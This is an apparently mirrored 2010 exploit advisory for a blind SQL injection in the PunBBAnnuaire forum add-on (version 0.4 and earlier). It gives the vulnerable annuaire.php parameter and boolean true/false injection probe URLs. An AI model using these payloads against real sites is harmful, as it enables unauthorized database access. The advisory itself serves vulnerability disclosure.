PunBBAnnuaire <=0.4 Blind SQL Injection Vulnerability

2010-02-1900:00:00

Root

www.seebug.org

punbbannuaire

blind sql injection

exploit

annuaire.php

JSON

No description provided by source.


                                                PunBBAnnuaire &lt;=0.4 Blind SQL Injection Vulnerability
========================================================
 
####################################################################
.:. Author : Metropolis
.:. Home : http://xrayoptics.by.ru/
.:. Script : PunBBAnnuaire
.:. Version : 0.4
.:. Download Script: http://www.punres.org/download.php?id=1737
.:. Bug Type : Blind Sql Injection
 
####################################################################
 
===[ Exploit ]===
 
/annuaire.php?action=site&amp;id=1[ Blind SQL INJECTION ]
 
 
www.site.com/forum/annuaire.php?action=site&amp;id=1 and 1=1 &lt;-- true
 
www.site.com/forum/annuaire.php?action=site&amp;id=1 and 1=2 &lt;-- false
 
 
 
####################################################################
 
Vive la France !

JSON

PunBBAnnuaire &lt;=0.4 Blind SQL Injection Vulnerability

PunBBAnnuaire <=0.4 Blind SQL Injection Vulnerability